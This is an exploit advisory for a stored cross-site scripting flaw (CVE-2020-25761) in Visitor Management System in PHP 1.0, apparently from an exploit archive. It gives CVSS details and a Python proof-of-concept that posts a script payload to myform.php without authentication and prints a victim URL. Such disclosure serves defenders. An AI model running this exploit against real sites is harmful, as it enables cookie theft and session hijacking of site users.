Visitor Management System In PHP 1.0 Cross Site Scripting

2020.09.23
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Title: Visitor Management System in PHP 1.0 - Unauthenticated Stored XSS # Exploit Author: Rahul Ramkumar # Date: 2020-09-16 # Vendor Homepage: https://projectworlds.in # Software Link: https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-in-PHP.zip # Version: 1.0 # Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1 # CVE: CVE-2020-25761 # Description: The file myform.php does not perform input validation on the request parameters. An attacker can inject javascript payloads in the parameters to perform various attacks such as stealing of cookies,sensitive information etc. import requests, sys, urllib, re from lxml import etree from io import StringIO from colorama import Fore, Back, Style requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) import random import string def print_usage(STRING): return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET if __name__ == "__main__": if len(sys.argv) != 2: print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0]) print print_usage("Example:\t python %s ' https://192.168.1.72:443/visitor_management/'" % sys.argv[0]) sys.exit(-1) SERVER_URL = sys.argv[1] XSS_DIR = '/myform.php' XSS_URL = SERVER_URL + XSS_DIR XSS_PoC_URL = SERVER_URL + '/front.php' s = requests.Session() s.get(SERVER_URL, verify=False) payload = {'name': 'd3crypt','cno':'9876543210','purpose':'stored xss','MeetingTo':'Hack','comment':'<script>alert("xss")</script>','submit_post':'Submit','mydata':''} r1 = s.post(url=XSS_URL, data=payload, verify=False) r2 = s.get(XSS_PoC_URL, allow_redirects=False, verify=False) response_page = r2.content.decode("utf-8") parser = etree.HTMLParser() tree = etree.parse(StringIO(response_page), parser=parser) def get_links(tree): refs = tree.xpath("//a") links = [link.get('data-content', '') for link in refs] return [l for l in links] visitors = get_links(tree) #print(visitors) for visitor in visitors: if 'stored xss' in visitor: rid=visitor.split(':')[6].strip() print print_usage('Make the logged-in user click this URL: ' + XSS_PoC_URL + '?rid=' + rid)


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